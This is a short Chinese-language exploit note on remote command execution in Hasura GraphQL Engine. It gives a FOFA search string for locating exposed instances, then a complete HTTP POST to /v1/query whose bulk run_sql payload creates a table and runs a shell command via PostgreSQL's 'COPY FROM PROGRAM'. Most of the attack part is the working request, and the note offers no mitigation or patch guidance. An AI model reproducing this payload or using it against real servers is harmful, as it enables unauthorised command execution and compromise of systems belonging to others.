Hasura GraphQL Engine 远程命令执行漏洞
一、漏洞简介
Hasura GraphQL Engine是Hasura开源的一个非常快速的 GraphQL 服务器。Hasura GraphQL Engine 存在远程命令执行漏洞。
二、影响版本
- Hasura GraphQL Engine
三、资产测绘
- fofa
"Hasura GraphQL" - 特征
四、漏洞复现
POST /v1/query HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
Content-Length: 352
Content-Type: application/x-www-form-urlencoded
{"type": "bulk", "args": [{"type": "run_sql", "args": {"sql": "SET LOCAL statement_timeout = 10000;", "cascade": false, "read_only": false}}, {"type": "run_sql", "args": {"sql": "DROP TABLE IF EXISTS cmd_exec;\nCREATE TABLE cmd_exec(cmd_output text);\nCOPY cmd_exec FROM PROGRAM 'id';\nSELECT * FROM cmd_exec;", "cascade": false, "read_only": false}}]}